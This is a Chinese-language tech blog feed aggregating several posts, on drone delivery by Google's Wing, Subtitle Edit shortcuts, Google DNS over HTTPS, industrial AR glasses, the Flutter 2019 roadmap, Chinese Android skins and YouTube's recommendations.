另外我比较喜欢问的一个问题是对方关于 AIOps 怎么看。因为我之前搞了两年这个东西，最后得到的结论是，这基本上是个浪费时间、欺骗上层领导的东西。AI 这东西的不可解释性本质上就和运维操作将就因果相违背的。所以经常喜欢问面试官怎么看这个技术，基本上就可以判断靠不靠谱。当然了，这是我个人的职业阴影导致的后遗症，只能代表个人意见。

就说这么多吧，都是一些个人理解，不一定对。写这篇文章感觉自己好像指点江山一样，其实我自己也干了才几年而已，所以本文内容仅供参考。如果有什么问题可以在评论提出，我能回答的话就尽量回答。

The post SRE 的工作介绍 first appeared on 卡瓦邦噶！.

最快 3 分钟送到，Google 的无人机居然送出了 100000 单快递？

Mon, 30 Aug 2021 09:58:32 CST

等待总是让人焦虑。无论是在淘宝购物还是下单外卖，我总会守着物流追踪信息，订单的每一次动态变化，都是一剂能人暂时平静的镇定剂。

一旦订单正在派送，这种焦虑的心情就会到达顶峰，手机不能离开超过身边三尺，不能错过每一条电话和短信，这时我恨不得送货小哥能够马上飞到我身边。

「飞到身边」，真的可能吗？

就在这几天，Google 母公司 Alphabet 表示他们的「快递小哥」已经成功飞了 100000 次了。

首个达成「十万」成就的无人机快递

小型无人机自诞生以来就被人们赋予了很多的想象，航拍、特技表演、远程勘测……人们想用这台这个四轴飞行器挖掘更多航空价值，其中「送货」应该是大家对于无人机的最终幻想。

相信看过哈利波特的朋友都有过这样的憧憬：某一天醒来，一只雪白的猫头鹰站在你的窗边，用爪子敲打着你的玻璃，嘴上还叼着一封蜡封的牛皮信，通知你已经被一所职业技术学校录取了。

也许你穷极一生都不会等到海德薇的到来，但不要灰心，这种自巡航、点对点的派送服务不需要借助魔法也能实现，只是降落在你屋顶的不是猫头鹰，而是无人机。

无人机送货并不是什么新概念，早在 2013 年，电商巨头亚马逊就提出了 Prime Air 的无人机送货计划。

远有亚马逊、Google、UPS，近有京东、顺丰、美团等，你会发现能叫得上名的科技、物流公司都有发布过相应的无人机送货解决方案。

▲ 亚马逊概念视频

然而，这么多年过去了，我们的天空依然保持宁静，已经站在未来的我们没能等来会飞的汽车，也没等来会飞的快递员，红极一时的无人机送货概念就只像是昙花一现。

就当大家快要遗忘这个美丽的幻想时，Alphabet 宣布旗下的无人机派送公司 Wing 要突破 100000 笔订单的里程碑，人们这才发现，在世界的另一个角落有着一片不一样的天空。

Wing 主要在美国、澳大利亚和芬兰三个国家运营无人机送货服务，其中在澳大利亚的洛根市（Logan）取得了最大的成功——总计 100000 笔订单中，有超过 50000 笔是在洛根市交付。

洛根市并不是什么著名大城市，它的城市面积为 958 平方公里，人口约为 30 万，是个典型的澳大利亚郊区城市。

不过平静的郊区上空并不平静，自 2019 年 Wing 在这里放飞了第一架无人机之后，洛根市的上空每天都会有无人机穿梭上百次，其中大部分时候都是在解决市民的「口腹之需」。

根据 Wing 的统计，去年 Wing 的无人机一共在洛根市运送了 1 万杯咖啡、1700 包零食和 1200 只烤鸡。

这些订单平均运送时间在 10 分钟左右，最快的一笔订单为 2 分 47 秒，比开车去麦当劳的得来速取餐还快。

这不难解释 Wing 在洛根市的流行：在地广人稀的郊区城市里，利用无人机送货几乎是最方便和快捷的购物方式，你要做的只是在家里悠闲地下单和等待。

当然 Wing 并不是什么都能运送，当用户需要采购东西时，他需要先下载 Wing 的官方 app，再在上面挑选商品。

在 app 上仅提供了一些像咖啡、零食、寿司、蛋糕、宠物食品和运动服装等轻量货品，由于 Wing 的运力只有约 2.7Kg，你不能指望它给你运来一台冰箱。

为什么这么多无人机送货概念方案中，唯独 Wing 能真正落地呢？这要从 Wing 的运作模式说起。

无人机送货的核心：安全、安全还是安全

▲ 时速可达 110 Km/h

Wing 的无人机长得很有特点，它像是滑翔机和直升飞机的杂交体——机身左右不仅分别有 6 个悬停旋翼，还设计了机翼和 2 个巡航旋翼，让无人机既可以垂直升降和悬停，又能在横向飞行时平稳巡航。

为了尽可能降低无人机意外坠落对人的伤害，Wing 的机身用了泡沫材料包裹，并且重量很轻。

Wing 表示整机的设计工作是由包括弗吉尼亚理工大学等机构一起合作完成的，在设计过程中着重测试了飞机的安全性。

飞行过程中，Wing 一般会控制在距离地面 30-40 米的低空区域飞行，并且会遵守城市空域管理，基本不会对载人飞机造成影响。

而确保降落的安全性会是无人机送货的最大的难点之一，通常来说无人机需要利用传感器找到一个空旷、安全的地方平稳降落，但地面的情况太过于复杂，想要安全降落是一个工程难题。

▲ 现场没有一只猫咪受伤害

因为无人机派送的区域通常都是住宅区，即便降落点选得再空旷，谁也不敢保证在降落过程中不会有好奇的宝宝或者小狗冲出来摸一下高速旋转的机翼。

Wing 找到了一个很巧妙的解决方法——用绳索代替机身升降。

他们在机身的下方设计了一个收缩绳索的装置，在飞行过程中绳索会尽可能缩紧保证货物不会丢失，到达派送地时，无人机会下降到距离地面 7 米的低空悬停，再放下绳索投放货物。

当货物接触到地面时，它就会从特殊的钩子分离，这时无人机再收紧绳索，准备升空归程。

整个收货过程用户都不会接触到无人机，只要在一旁静静看绳索升降，两者保持了足够安全的距离，不仅避免了飞机升降可能存在的安全隐患，派送的效率也更高。

解决了派送的问题，Wing 还需要解决另一个棘手难题：怎样安全、自动地将货物运送到用户指定地点？

我们都知道两点之间直线最短，因此空中货运能够采用比陆运效率更高的直线路线运输。

然而与常识相悖的是，大多数情况下无人机派送都不会简单粗暴地采用直线飞行，因为缺乏路线规划的空中交通非常可怕，这就像是有人在空中开碰碰车，指不定哪天两架飞机就会撞在一起，后果不堪设想。

也就是说，光有「车」还不够，人们还需要在空中规划出「路」以及相应的交通秩序，无人机才能安全地在天上飞行。

背靠 Google 地图的 Wing 在这方面有着天然的优势，很快建立起了 Unmanned Traffic Management（UTM，无人驾驶交通管理）系统，对空中的飞行器进行统一地协调管理。

Wing 无人机每次起飞前都会在 UTM 系统的支持下，综合考虑天气、障碍、空域管制等因素自动规划一条安全的取货、送货路线，再出发前往取货地点。

订单完成之后，Wing 无人机会自动回程，降落在充电板上充电，这个过程中其他订单则由另外的无人机执行，调度的方式像极了一个小型机场。

我们离无人机快递还有多远？

Wing 的发言人乔纳森·巴斯在接受 The Verge 采访时提到，Wing 想把它在洛根市的成功模式复制到其他人口密度和洛根差不多的城市，例如新奥尔良、曼切斯特、佛罗伦萨等。

有趣的是，像纽约、东京等人口稠密的大城市并不在 Wing 的考虑范围之内。

乔纳森·巴斯解释称，寸土寸金的大城市对无人机送货并不友好，因为无人机很难找到一个没有树枝、电线杆和招牌的空旷位置投放货物。

无人机快递本质上是解决「快递最后一公里」的一种方法，它落地成功与否不仅受技术、政策的影响，还跟城市的物流体系息息相关。

相比起楼宇空旷的小城市，无人机确实很难在大城市的水泥森林里穿梭和歇脚，这对无人机派送的安全性和容错率有了更严苛的要求。

无人物流公司确实可以在城市里设立一些集中点来集中投放商品，但一番操作下来，用无人派送的成本并不比城市快递末端的人力成本便宜多少，甚至还要更贵。

无人机更像是属于大自然的鸟，在高楼林立的大城市里很难找到「栖息地」。

弗吉尼亚理工大学发布的一篇报告中提到，当一个城市的无人机投递系统投入使用五年后，每个消费者平均每年可以节约 56 小时的购物时间，零售业参与者可以平均每年增多 208000 美元的销售额，而城市平均每年可以减少 113900 吨二氧化碳。

省时、增收、环保，这些正面效益吸引到了很多物流公司参与到这次科技升级的浪潮之中，但是在运行过程中遇到的技术和法规问题又像一记闷棍，将视无人机技术为物流唯一未来的公司们打醒。

例如 Wired 就曾报道过亚马逊的 Prime Air 团队在今年年初大幅裁员，与五年前第一次试飞成功时相比，Prime Air 近几年来声势甚微，很大一部分原因是亚马逊的工程师还未能解决无人机的空中管理和安全投递的问题，导致过长的项目周期并没有带来合乎预期回报。

目前来看，无人机送货还存在各种各样的局限性，缺乏低空管理法规的城市还没准备好迎接它，具备落地条件的郊区又很难养活它。

无人机送货就和自动驾驶一样，站在了被全行业瞻望的科技顶点，但登顶的阶梯现在才刚开始搭。100000 笔订单的里程碑，也许只是登上这条阶梯的一小步。

黄智健

高一点，再高一点。

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字幕編輯軟體Subtitle Edit的使用技巧

Fri, 15 May 2020 21:47:46 CST

Subtitle Edit相較 AegiSub是比較少人使用的字幕編輯軟體，但是因為它仍持續在開發，因此我挑選了它做為我主要使用的字幕編輯工具。

本影片先介紹Subtitle Edit的安裝，再介紹快捷鍵的設定與語氣詞的刪除與替換，再說明使用上的一些小技巧，讓字幕的修改能更迅速、更有效率。

快捷鍵設置

搜尋	變更項目	新按鍵
play	Play current subtitle	Ctrl+Right
go	Go to previous line and set video position	Ctrl+Up
go	Go to next line and set video position	Ctrl+Down
merge	Merge next line	Ctrl+J
split	Split at line/video position	Ctrl+K

其他設置

多重取代設定(Ctrl+Alt+M)：加入要移除或變更的語氣詞

▼ 範例：

尋找內容	取代為	搜尋類型	功用
^那		正則表達式	刪除開頭的「那」字
^好		正則表達式	刪除開頭的「好」字
啊$		正則表達式	刪除結尾的「啊」字
呢		標準	刪除句中的所有「呢」字
哦		標準	刪除句中的所有「哦」字
喔		標準	刪除句中的所有「喔」字
啦		標準	刪除句中的所有「啦」字
enter	[Enter]	標準	取代
autohotkey	AutoHotkey	標準	取代

操作小技巧

字幕時間軸的調整很花時間，因此我們在校對字幕時先不用管時間軸正確與否，完成校正後存成純文字檔，再用ArcTime重新加上正確的時間軸。

第一次聽打校對時，可以先把影片面板關閉，先將注意力集中在字句的正確修改
如果下方的聲音波形沒有出現，則勾選【選擇目前播放時的字幕】，再點擊波形位置讓波形出現
左下角切換到翻譯分頁，勾選【自動重複於】，【重複次數】改 0，這樣在移動到下一行時會自動播放
雙擊第一句
按〔Ctrl+Right〕播放第一句聲音，修改文字編輯框內的文字
文字修改正確後按〔Alt+Down〕字幕向下一行且自動播放
重覆步驟5、步驟6以完成所有字幕的校正
要修正上行可以按〔Alt+Up〕或〔Ctrl+Up〕
要修正下行可以按〔Alt+Down〕或〔Ctrl+Down〕

教學影片

＃＃

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Google 推出 DNS over HTTPS 的 DNS 加密服務

Wed, 03 Jul 2019 08:54:32 CST

Google 要提供 DNS 加密的服務，主要有下述幾種：

Google 推出 DNS over HTTPS 的 DNS 加密服務

曾經有政府跟 ISP 業者要民眾的網站造訪紀錄，若 DNS 這端都加密起來的話，就連 ISP 也無從查起~ 於是 DNS 加密服務就此產生~

此篇 Wiki 有整理 DoH 有目前有哪些地方提供支援，哪些程式語言有相關套件可以使用： DoH

Google 官方新聞可見： Google Online Security Blog: Google Public DNS over HTTPS (DoH) supports RFC 8484 standard

Google 提供的服務如下：(Google 現在將 DoH 支援 RFC 8484 的標準)

https://dns.google/dns-query (RFC 8484 – GET and POST)
https://dns.google/resolve ( JSON API – GET)
註：以前實驗性質是使用 dns.google.com，現在正式版一律使用 dns.google 取代

智能眼镜还没凉，它们解放了工人的双手

Sun, 27 Jan 2019 16:21:35 CST

随着智能手机市场持续低迷，手机厂商已经开始寻找一下个高速增长的市场，小米华为重金押注 AIoT，同时 AR 眼镜也被寄予厚望。

正如爱范儿在一篇文章中提到的，智能手机发展到今天出现了两大基本矛盾:

一是，人民日益增长的屏幕尺寸需要，同落后的人手大小进化速度之间的矛盾；

二是，越来越全天化的手机使用时长，同人民生产生活所需占用手、眼之间的矛盾。

AR 眼镜看起来会是比较理想的解决方案，既解放双手，又能进一步扩大显示面积。

▲Magic Leap One

不过目前市场上的 AR 眼镜显然还不具备这样的能力，不是价格过高，就是续航太差功能鸡肋，要取代智能手机为时尚早。

▲2014 年，戴上 Google Glass 打网球的费天王

但在很多科技厂商的车间里，AR 眼镜早已经不是什么新鲜玩意，从路上的汽车到田间的拖拉机，AR 眼镜大大提高了这些科技产品的生产效率，就连被失败博物馆收录的 Google Glass ，其实也还在发光发热。

丰田用微软 Hololens 造车

微软的 AR 头显 Hololens 诞生四年以来，在消费电子市场的表现并没有比 Google Glass 好多少，多次传出停产的消息，但却受到不少汽车厂商的青睐。

▲ 图片来自： The Verge

比如丰田就已经将 Hololens 引入到汽车生产线中，在位于日本爱知县的丰田总部，3D 数据应用项目经理 Koichi Kayano 就在使用 Hololens 进行车身喷漆和涂层厚度的检测工作。

据 Koichi Kayano 介绍，过去这些检测工作需要在每辆车上铺满一张有 500 个小孔的纸张，之后工作人员才能用超声波检测仪来确认涂层厚度是否准确。

这种检测方法的不足在于，制作这些用于检测的纸张和铺上车身都十分耗时，而且每次微调涂层后纸张的位置也要重新调整。

不过 Hololens 能让工作人员跳过这些步骤，通过眼镜就能看到这些虚拟纸板铺在车身的效果，工作人员能都通过 AR 展示的 500 个小孔完成测试，这大大提高了效率，Koichi Kayano 表示；

过去这项工作需要花费两个人一整天的时间。但是使用 HoloLens 一个人可以在两小时内完成这项工作。它改变了我们的工作方式。

同时通过 HoloLens 两款 MR 程序 Layout 和 Remote Assist ，丰田工程师可以在千里之外看到当地工作人员的实时模拟画面，在远程进行协作，完成设备检查和故障处理等工作。

此外世界最大的全球能源公司之一雪佛龙也和微软签订了 7 年的合作协议，在公司全面推广 Remote Assist，用这些 AR 设备逐渐取代实地考察。

因为雪佛龙的设施遍布全球各地，过去公司几百位设施专家每年的飞行里程超过 80 万公里，经常几天时间都花在路上，如果全面用上 HoloLens 不仅能更及时解决设备问题，也能大大节约成本。

Google Glass 没有死

说到智能眼镜，不得不提 Google Glass ，这款设备被认为是 Google 最失败的产品之一，还被列入瑞典的失败博物馆，与苹果 Newton 等不被市场认可的产品一同展出。

实际上 Google Glass 并没有死，在消费电子市场折戟之后，又在企业级市场「复活」了。

2017 年，Google Glass 以企业版本 Glass Enterprise Edition 再度回归，主要面向企业客户，涉及农业机械、制造业、医疗以和物流等领域，如今在一些公司使用 Google Glass 已经是像做 PPT 一样的必备技能。

在农业机械公司 AGCO 的工厂里，可以看到 100 多位工人戴着 Google Glass 进行工厂的场景，「Google Glass 就是他们制服的一部分，跟手套和头盔没什么不同，在大部分工作时间都会戴着。」AGCO 的业务流程改进总监 Peggy Gullick 说。

在几年以前， AGCO 的工作人员需要使用平板电脑穿梭在不同设备之间进行记录和检查，Google Glass 则解放了他们的双手，工人可以用 Google Glass 的语音识别和头部动作追踪功能录入和传输数据，平板电脑被逐渐抛弃。

在换班的时候，佩戴者只要点击耳机的一侧说出「OK Glass」，就能用语音留言交代工作交接的内容。

据 Peggy Gullick 介绍，一开始工厂只采购了 6 副 Google Glass 试用，不过效果却立竿见影，工艺改进效率提高了 30%，质量检测时间缩短了 30%，甚至连新员工的培训时间也省了一半，于是很快把订单加到 100 副。

Peggy Gullick 认为 Google Glass 是一个「彻底改变游戏规则」的新技术，尽管一幅眼镜的价格高达 1500 美元（约 1 万人民币），但与过去在爬上爬下过程中容易摔坏的平板相比，Google Glass 其实反而节约了成本。

现在凡是 AGCO 的员工，无论是什么岗位，入职后都需要接受使用 Google Glass 的培训，很多员工一周 40 个工时都需要佩戴它来完成工作。

除了微软和 Google ，类似的 AR 眼镜在工业领域已经越来越普遍。

Epson 的 AR 眼镜能让无人机驾驶员以第一人称视角看到摄像头的画面，Vuzix 的智能眼镜的 AR 程序能帮助物流公司挑拣员加快货物挑拣效率，Daqri AR 头盔帮助建筑师和工程师在动态全息空间中进行工作……

这些 AR 眼镜在消费市场不成功，却在企业用户中重获新生，很大原因在于价格，去年推出的 Magic Leap One 创造者版本起售价 2295 美元，而 HoloLens 的开发者版本要 3000 美元，大多个人用户比较难接受这样的价格，但对于企业来说则更容易负担。

HoloLens 和 Google Glass 的案例已经说明了 AR 眼镜在工业领域的应用潜力，虽然像 HoloLens 这样比较笨重的外形还有待改善，但作为生产力工具，要求也不必像智能手机这些日常随身设备一样轻便美观。

尽管 AR 眼镜距离普通消费者的距离仍然比较远，但各大厂商在企业级市场积累的经验，其实也在为打入消费级市场作准备，毕竟苹果在研发 AR 眼镜也基本是公开的秘密了，说不定未来的某一天 Google Glass 也会在消费电子市场再度「复活」。

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Flutter 2019 产品路线图正式公布

Fri, 18 Jan 2019 14:17:57 CST

2019

Flutter 1.0 的发布对我们来说是一个很重要的起点，长路漫漫，我们仍有很多工作要做。这里我们向大家公开我们的产品路线图（Roadmap）规划，一方面是保持开源项目的透明度，另一方面，开发者们也可以根据我们的工作优先级来制定更适合的工程方案。

以下几点我们今年会着重关注：

核心和基础
易用性
生态系统
移动端之外的支持
动态更新
工具链

我们的计划会根据大家的反馈以及新的市场变化来做调整，这份路线图里的内容不尽然是我们一定会完成的工作。如果你有任何反馈，我们鼓励你通过 Issuse，或者在我们的邮件群组等与我们保持联系。Flutter 是一个开源项目，我们鼓励你参与到我们当中来。

版本发布

使用 Flutter 的开发者们可以选择一个「频道」来「接收」我们的版本更新和变化，我们目前有四个频道：master、dev、beta 和 stable，质量和稳定性从前向后依次递增，发布速度当然也会是依次相对放缓。

我们计划每个月发布一个 beta 频道的版本，这个发布通常会是在月初，全年会在 stable 频道发布四个较大的「正式」版本。在生产环境里，我们建议开发者们使用 stable 频发布的 Flutter 版本。如果你想了解更多关于我们的版本发布流程，可以查看发布流程这篇 Wiki。

关注领域

核心和基础

我们的首要任务依然是为 Flutter 现有的核心和基础添砖加瓦：

修复 Bug：Bug 修复的优先级主要是基于 Issue 下的互动数量，比如 GitHub 自带的一些针对 Issue 的表情互动，点赞等；
性能调优：包括减少内存、引擎占用空间（包大小），提高帧率等。如果开发者们有特别的性能基准要求，可以通过 devicelab 测试数据给我们看一下；
改进 Flutter 测试流程：以确保为开发者们提供稳定的版本构建不会出现版本回归；
改进错误消息提醒：通过 Google 用户研究（User Research）团队的工作，使错误提醒更具备可操作性以及包含一些常见的解决方案；
API 文档改进：特别是提供示例代码和图表等，让我们的 API 文档更易用。

易用性

为新晋使用 Flutter 的开发者清扫绊脚石，如：

完善和满足希望使用混合工程（将 Flutter 集成到于现有的 Native 工程项目）的开发者们的需求，如提供新的插件模板和 Android 内嵌 API；
更新 Flutter 官方文档以提供更详尽的文档和使用教程；
在 Flutter 应用里管理 state 的最佳实践；
更好的帮助 iOS 开发者：投入时间持续更新和维护我们的 Cupertino widgets；
在非完整工具链和运行环境下更容易体验和使用 Flutter。

生态系统

在 Flutter 中生态系统意味着使用 Flutter 的开发者们可以便捷地完成任何他们想做的事情，甚至在 Flutter 框架不提供提供开箱即用支持的情况下也如此。我们花费了大量的精力在工具和基础设施建设的工作上，以支持围绕着核心 Flutter 技术而蓬勃发展的生态系统。Google 也会投入时间开发插件和工具来贡献这个生态。

2019 年我们会特别关注的生态系统建设工作：

更好的 C/C++ 库支持，包括从 Dart 到 C 或 C++ 之间的相互调用；
推进官方开发 / 维护的 Packages（调用原生系统的插件和纯 Dart Package）达到与核心框架代码相同的质量和完整性；
在 iOS 和 Android 上完成地图和 WebView 插件的开发；
确保 Flutter 应用可以使用一些谷歌服务，比如应用内支付和 YouTube；
提供本地推送通知和本地数据存储的支持。

移动端之外的支持

我们将继续把 Flutter 拓展到更多形态的终端，以实现我们的目标：构建一个便携 UI 工具包，在任何需要的地方画出每一帧像素。

更好的支持键盘和鼠标的输入；
完善可以让 Flutter 可以运行在 Web 平台的 Hummingbird 项目；
继续尝试让 Flutter 运行在桌面级的平台之上（如 macOS 和 Windows）。

动态更新

Dart 语言平台为 Flutter 应用开发提供了热重载（Hot Reload）的特性，让开发者们无需重新部署就可以把代码推送到应用中去。

Android 上的动态修复：让开发者直接将代码更新从服务器推送到 Android 应用里；
动态载入：让应用里不常用的部分延迟加载。

工具链

继续投入精力支持 Visual Studio Code，Android Studio 和 IntelliJ，使它们能够作为开发 Flutter 的主力 IDE；
增加对 Language Server Protocol 以及其他开放协议的支持；
通过改进开发过程中的分析、调试体验，让开发者更简单地提高应用的整体质量和性能；
持续提升模版的体验，让 Flutter 的上手开发既快又简单。

里程碑及计划时间

如果你对我们每个月将会发布什么感兴趣的话，你可以我们 GitHub 上的 milestones 页面查看。计划赶不上变化，我们的里程碑可能会因为某些 Issue 而被改变，所以我们不能保证每个里程碑的确定完成时间。

欢迎对本文作出反馈。

文/ Flutter 社区：（微信 ID：flutter-io）
原始 Wiki 地址 https://github.com/flutter/fl...

重新改造 Android 的中国手机厂商

Fri, 19 Oct 2018 08:00:06 CST

从过去大半年的情况来看，中国手机厂商已经推出了不少让人印象深刻的 Android 手机设备，但在欧美地区，许多用户仍然不愿意将它们作为主力机使用。

其中很重要一点原因是系统和软件的问题。对他们而言，中国的 Android 手机系统过于花哨，而且功能臃肿，预装软件的类型和数量也和其它地区的不太相同。

为什么会有这种现象？

近期，The Verge 的编辑 Sam Byford 便发表了一篇题为《 How China rips off the iPhone and reinvents Android》的文章，以国外用户的视角，向我们描述了小米、vivo 和一加等中国手机厂商定制 Android 系统的现状，以及存在的一些问题。

很凑巧的是，这三者，也代表了目前中国三种主流的开发思路。

没有 Google，中国手机厂商只能做自己的服务

如果你想在中国制造 Android 手机，必须要面对一个现实问题：在这片土地，你没法使用和 Google 有关的大部分服务。

这意味着只要不通过特殊手段，大部分人没办法建立自己的 Google 账号，用不了 Google 地图，更不要说从 Play Store 上购买付费应用了。

在这种情形下，大部分中国手机厂商只能借助名为「AOSP」的 Android 开源项目，保留 Android 系统底层的同时开发自己软件功能，打造独立的账号体系，甚至是每家都有自己的应用商店。

而小米，便选择在一个恰当的时机进入市场，它通过 MIUI 起家，用互联网产品的节奏做好了一个 Android 定制系统。

▲ 图片来自： The Verge

Sam Byford 采访了英国的小米设计师 Robin，在他看来，智能手机的硬件和软件设计有着明显的不同，如果说硬件 ID 是关乎空间，那么软件设计就是关乎时间。

当设计一个大屏幕手机时，我们会寻求屏幕尺寸与手机体积之间的平衡，比如说让屏幕做的更薄一些。如果是软件，则要从用户体验和各种操作流程中来体现。

Robin 举了一个例子，当你启动应用前，你必须要先经历点亮屏幕并解锁手机的的过程，而 MIUI 则对过程中的动画和设计进行了修改，使其变得更简洁和精美，同样的，你在 MIUI 中也看不到原生 Android 中的应用抽屉设计。

事实上，这些定制功能对小米用户十分重要，他们喜欢在计算器中做各种换算，又或者是标注陌生来电，还有快速调用第三方应用接口的「传送门」，这可以看作是中国版的「Now on Tap」功能。

为了扩展海外市场，如今小米在开发 MIUI 系统时还要对中国用户和海外用户进行区分。比如在印度，小米就选择和当地的电商巨头 Paytm 合作提供二维码扫描，同时还和购物网站 Flipkart 合作的提供了直接从短信页面跳转到购物网站查看订单的特性。

而在拍照上，考虑到亚太地区的用户更喜欢磨皮等美颜效果，欧美地区则更追求自然，在服务好中国用户的同时，小米也要开发另一套方案。

让用户提出需求，并深入参与到软件设计过程中，实现软件系统的快速迭代，是小米手机和 MIUI 能够快速成长的一个重要原因。不可否认的是，它已经由当初的小众玩物变成了一个稳定可靠的大众系统，但伴随着版本数的不断迭代，MIUI 也需要面对臃肿和复杂的问题。

为什么要把系统做得和 iOS 一样？

中国并不是只有「小米模式」的存在，Sam Byford 还提及了 vivo 打造的 Funtouch OS。在他看来，vivo 更倾向于打造出色的硬件，但在软件系统层面却很少会进行核心功能的打造。

正因如此，即便 vivo 在今年打造出了一款“非常疯狂”的 NEX 手机，可它的系统里还是有 iOS 的影子。比如上滑的控制中心，已经不能用「纯属巧合」来形容了，这也不止是一家厂商的问题。

不过，考虑到中国数亿 iPhone 用户基数，vivo 仍然有这么做的理由。

▲ 图片来自： The Verge

一名 vivo 产品经理向 Sam Byford 表示，vivo 不会为了创新而创新，核心目标还是满足客户对最佳手机体验的需求，这自然就包含了使用微信，浏览网页，或是拍照听音乐等

vivo 目前的表现，是我们愿意倾听并理解消费者行为的结果，比如说相机，它的 UI 设计也要根据消费者的习惯来决定，最终通过测试找到最有效率的设计方法。

但这种决策并无法摆脱苹果的影子，更何况，这个所谓的「最佳手机体验」，很可能也是将 iOS 作为参照物的，毕竟苹果就是用出色的软件体验来辅助硬件差异化，这是苹果商业模式的关键。

基于这点，将产品的操作界面尽可能的模仿 iPhone，从商业层面考虑也确实有一定的意义。

一加 CEO 刘作虎就认为，很多厂商打造一个和 iOS 类似交互的系统，或许只是想让用户的换机门槛变得更低，这样就算是从 iPhone 换成一台 Android，交互逻辑还是一样的。

而小米的 Robin 也表示，苹果在这个行业拥有足够大的权威，更何况它也总是能创造出足够人性化的产品。

还有一点原因可能和微信有关。Ben Thompson 曾在去年撰写的《 Apple’s China Problem》中提及，在其它国家，让一名核心 iPhone 用户切换到 Android 品牌的手机是很困难的事，这意味着他要放弃很多苹果生态圈独有的体验。

可在中国地区，智能手机不存在太多的「换机成本」。中国的手机用户和微信绑定得很深，以至于这个绿色聊天应用更像是手机的系统核心，而不是 iOS 或 Android。

不过，最终是否要在 UI 和交互上摆脱掉 iOS 系统的影子，这依旧是一个值得思考的问题。

追求原生的可能性

在系统开发上，一加则代表了中国 Andorid 厂商的第三种方向——追求和 Google 相近的原生系统体验，即不会对功能做太多的修改以及自定义。刘作虎在接受 Sam Byford 采访中说：

我们希望提供一种无负担的体验，所以在系统层面会更追求轻便、流畅的部分，而不是盲目地加新功能，除非我们认为这项功能可以为用户增添更多价值。

事实也证明，这个理念同样能成为 Android 差异化的卖点。虽然一加手机在中国地区的销量不算很高，但在欧美地区却特别受欢迎。

对比三星 LG 等传统大牌厂商，一加手机可以在同等配置下给出更优惠的价格，而简洁流畅的 Oxygen OS 也是成功的关键因素。

▲ 图片来自： CNET

在中国，一加选择开发了更加本土化的「氢OS」，在保留接近原生 Android 体验的同时，也包含了一些定制化的功能服务。

尽管一加的风格和其它厂商大相迳庭，但在刘作虎看来，中国用户对于手机系统的使用习惯已经发生了变化，这和其它地区的趋势是一致的：「大家都会对快速、流畅的体验提出更细分的要求，而不仅仅只是差异化或是个性化。」

只不过，变化是否真的会到来还不好说，这需要等待，也需要时间。

题图来源： Android Headlines

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Google 发布了一个全新的搜索引擎和两个文字游戏

Sun, 15 Apr 2018 18:25:13 CST

为了让你体验人工智能在语义理解和自然语言处理有多强大，Google 近日发布了一个新的搜索引擎，以及两个“文字游戏”。

在 Google 新发布的语义体验网站“ Semantic Experience”里，有一个全新的书籍搜索“Talk to Books”，以及基于机器学习的单词关联游戏。

相比平常我们搜索一本书，主要是通过书名、作者等关键词进行检索，在 Talk to Books 里，我们可以像平常讲话一样输入一句话，随后搜索引擎就会对这句话进行解读和预判，从而给出搜索结果。

也就是说，你可以用“聊天”的方式找到你想要的书籍。

我在搜索框输入了一个问题：

What is the best programming language？（什么是最好的编程语言？）

排在第一位的搜索结果，是一本用 C 语言编程的书籍，《C Programming for Arduino 》，作者是 Julien Bayle。这本书里有这样一句话，在搜索结果中被加粗：

There is no scientific or universal way to define what is the absolute best style of programming. （目前没有一个科学的或者广义的方式去定义什么是绝对好的编程方式。）

在搜索结果中，能够回答这个问题的句子或者段落被加粗显示，下方还有作者及书籍的信息。给我的体验就是，我们用聊天的方式向 Talk to Books 提问，然后它用搜索结果告诉你，这本书里的这段话，可以回答你的问题，这些或许就是你想要找的书。

在另一个名为“SEMANTRIS”的页面中，有两个基于机器学习的单词游戏 Arcade 和 Blocks。

（Arcade ）

玩 Arcade 时，需要在一定时间内输入与某个目标词语最相关的单词、短语或者句子，越相关得分越高，同时目标词语会下移。

（Blocks）

Blocks 则像是无时间限制的消消乐游戏。输入某个单词、短语或者句子后，游戏会自动判断页面上的哪个单词与之最相关，然后这个单词所在的方块，以及相邻同色的方块就会被消除。每一次消除都会有新的方块掉下来，方块堆积到达顶部，游戏结束。

“Semantic Experience”这个项目呈现的是机器学习中“词向量”的技术，这项技术能让机器更快、更准确地去理解人类的语言。目前 Google 已经在自己家的人工智能开源软件库 TensorFlow 上开源了一个预训练语义的模块，开发者可以使用自己的词汇或语句进行实验，训练自己的模型。

沈星佑

太阳底下全是新鲜事 | 工作邮箱：shenxingyou@ifanr.com

邮箱 3

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Google Brain 推荐算法，给了 Youtube 新生

Mon, 04 Dec 2017 18:13:54 CST

YouTube 整合 Google Brain 推荐算法，视频播放量提升 20 倍。

去年晚些时候，我在玩《羞辱2》（Dishonored 2）游戏时，照常在 YouTube 上搜索了如何通过游戏中棘手的部分。和往常一样，我找到了一个能回答我问题的视频。

但是在我下一次访问 YouTube 时，网站给我推送了更多引人入胜的《羞辱》游戏视频，比如：

玩家在玩《羞辱》时能够不被敌人察觉的剪辑；
玩家用极具创造性的方法杀死每一个敌人的剪辑；
对游戏开发人员的采访；
聪明的讽刺评价。

我到 YouTube 去寻找我问题的答案，它则向我展示了一个宇宙。

随后，我发现自己一天就要访问 YouTube 好几次。大多数时候我都漫无目的，我已经习惯了网站主动提供我会喜欢的视频。一月份的时候，我迷上了一个叫 Pinegrove 的民谣摇滚乐队，几周内 YouTube 就向我提供了几乎所有上传到服务器上的该乐队现场演出。当我今年春天有了一个新公寓时，我开始更频繁地下厨了。在我搜索了如何做意大利面包沙拉之后，YouTube 很快就向我推送了大量专业厨师： Byron Talbott、Serious Eat 的 J. Kenji López-Alt、以及 Tasty 团队等。

YouTube一直都是非常实用。自从它于 2005 年成立，就一直是网络的中流砥柱。但是过去一年左右，反正对我来说，YouTube 似乎开始变得出奇的好。这个网站开始以怪异的准确性来预测我可能会感兴趣的视频——比以前精准太多了。那么什么改变了呢？

在 12 年的历程中，YouTube 已经从一个搜索驱动的网站转变成了一个本身就是目的地的网站。实现这一转变需要数百次的实验、少量的重新设计，以及在人工智能领域的一些重大飞跃。但是真正提升了 YouTube 的，是其在 feed 上的演化发展。

虽然现在很难回忆起来，但是 YouTube 最初不过是基础设施：它提供了一个把视频嵌入其他网页上的简便方法，这也是你最可能用到它的地方。随着 YouTube 的发展，它成了一个寻找档案电视剪辑、补深夜喜剧，以及观看最新热点视频的网站。除了维基百科以外，YouTube 很可能是网上最引人入胜的地方。你的同事在饮水机旁边提到了 Harlem Shake，于是你花了余下的整个晚上，去 YouTube 上看了 Harlem Shake 的视频。

